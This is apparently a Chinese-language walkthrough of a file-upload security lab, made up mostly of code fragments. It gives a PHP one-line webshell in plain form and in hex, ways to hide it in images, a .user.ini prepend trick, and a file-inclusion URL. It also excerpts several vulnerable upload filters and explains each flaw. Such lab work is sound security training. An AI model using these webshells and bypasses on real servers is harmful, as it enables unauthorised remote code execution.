1
#单纯想做这道题可以更改Apache的httpd-conf文件
2
AddType application/x-httpd-php .php .php3 .php5
3
#再将php的版本改一下（可以选择php5.3.29）

1
#让服务器将所有 .jpg 后缀的文件当作 PHP 脚本来解析执行
2
<FilesMatch "\.jpg$">
3
    SetHandler application/x-httpd-php
4
</FilesMatch>

1
<?php @eval($_POST['cmd']); ?>
2
#将其改为图片马
3
copy /b 1.jpg + 2.txt shell.jpg #/b参数表示以二进制模式合并
4
#十六进制编辑器（如 010 Editor）把代码“藏”进去，可以绕过对<?php的拦截   ，可以用base63编码
5
#利用图片属性（Exif 信息）：在详细信息中写入<?php @eval($_POST['cmd']);?>

1
#编写 .user.ini 文件，它的作用是让当前目录下所有的 PHP 文件都自动包含 shell.jpg 这个文件
2
auto_prepend_file = shell.jpg  #这里的shell.jpg是一句话生成的图片马
3
#访问http://你的靶场地址/upload/readme.php，用蚁剑等连接

1
      $file_name = trim($_FILES['upload_file']['name']);
2
        $file_name = deldot($file_name);              // 删除文件名末尾的点
3
        $file_ext = strrchr($file_name, '.');
4
        // ★ 关键：这里没有 strtolower() 转换小写！
5
        $file_ext = str_ireplace('::$DATA', '', $file_ext);
6
        $file_ext = trim($file_ext);

1
       $file_name = trim($_FILES['upload_file']['name']);
2
        // ★ 关键：这里没有调用 deldot() 删除末尾的点！
3
        $file_ext = strrchr($file_name, '.');
4
        $file_ext = strtolower($file_ext);  // 转换为小写
5
        $file_ext = str_ireplace('::$DATA', '', $file_ext);
6
        $file_ext = trim($file_ext);        // 首尾去空

1
     $file_name = trim($_FILES['upload_file']['name']);
2
        // ★ 关键：这里没有调用 deldot() 删除末尾的点！
3
        $file_ext = strrchr($file_name, '.');
4
        $file_ext = strtolower($file_ext);
5
        // ★ 另一处关键：这一行是处理 ::$DATA 的，但没有完全过滤掉
6
        $file_ext = str_ireplace('::$DATA', '', $file_ext);
7
        $file_ext = trim($file_ext);

1
       $file_name = trim($_FILES['upload_file']['name']);
2
        $file_name = deldot($file_name);  // 删除末尾的点
3
        $file_ext = strrchr($file_name, '.');
4
        $file_ext = strtolower($file_ext);
5
        $file_ext = trim($file_ext);      // ★ 这里去掉了空格，但没有去掉点？
6
        $file_ext = str_ireplace('::$DATA', '', $file_ext);

1
// ★ 这里的过滤逻辑变了：不是 in_array() 检查，而是直接替换！
2
$file_name = str_ireplace($deny_ext, '', $file_name);

1
if (isset($_POST['submit'])) {
2
    // 白名单：只允许图片后缀
3
    $ext_arr = array('jpg', 'png', 'gif');
4
    // 获取上传文件的后缀名
5
    $file_ext = substr($_FILES['upload_file']['name'],
6
                       strrpos($_FILES['upload_file']['name'], ".") + 1);
7

8
    // 检查后缀是否在白名单中
9
    if (in_array($file_ext, $ext_arr)) {
10
        $temp_file = $_FILES['upload_file']['tmp_name'];
11
        // 关键漏洞：save_path 是 GET 参数，用户可以控制
12
        $img_path = $_GET['save_path'] . "/" . rand(10, 99) . date("YmdHis") . "." . $file_ext;

1
http://your-ip/include.php?file=upload/20240515123456.jpg

1
<?php
2
    $file = $_GET['file'];
3
    if(isset($file)){
4
        include $file; #没有任何的过滤和限制
5
    }else{
6
        show_source(__FILE__);
7
    }
8
?>

1
$type = exif_imagetype($_FILES['upload_file']['tmp_name']);
2
// 或者 getimagesize() 函数
3
if (!$type) {
4
    $msg = "不是真正的图片！";
5
    return false;
6
}

1
#一句话木马 <?php @eval($_POST['cmd']);?> 对应的十六进制为：
2
3C 3F 70 68 70 20 40 65 76 61 6C 28 24 5F 50 4F 53 54 5B 27 63 6D 64 27 5D 29 3B 3F 3E

1
#这里是先进行上传再进行检查（在上传和检查期间shell.php文件存活了极小的时间，要利用这个时间差)
2
$img_path = UPLOAD_PATH . '/' . $file_name;
3
    if (move_uploaded_file($temp_file, $img_path)) {
4
        if (in_array($file_ext, $ext_arr)) {
5
            $is_upload = true;
6
        } else {
7
            // 不合法，删除文件
8
            unlink($img_path);  // ← 删除操作在保存之后！
9
            $msg = "只允许上传.jpg|.png|.gif类型文件！";
10
        }
11
    } else {
12
        $msg = '上传出错！';
13
    }
14
}

1
$file_name = $_POST['save_name']; //用户可控输入
2
$file_ext = pathinfo($file_name, PATHINFO_EXTENSION); // 取后缀
3
$deny_ext = array("php","asp",...);
4
if(!in_array($file_ext, $deny_ext)) {
5
    move_uploaded_file($temp_file, UPLOAD_PATH . '/' . $file_name);
6
}